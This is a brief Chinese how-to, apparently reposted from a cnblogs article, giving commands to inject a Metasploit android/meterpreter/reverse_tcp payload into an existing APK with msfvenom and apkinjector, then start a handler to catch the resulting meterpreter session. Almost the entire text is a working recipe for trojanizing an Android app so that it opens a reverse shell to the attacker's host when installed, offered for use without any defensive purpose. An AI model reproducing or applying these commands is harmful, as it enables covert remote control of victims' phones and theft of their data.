首先安装apt-get install apkinjector 这个东西，msfvenom重新组装apk的时候会自动调用
msfvenom -x /路径/apk android/meterpreter/reverse_tcp LHOST=<ip> LPORT=<端口> -o /存放路径/注入成功的apk名字
开启监听
halder模块
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST <ip>
set LPORT <端口>
exploit
meterpreter>
原文：http://www.cnblogs.com/haq5201314/p/6958065.html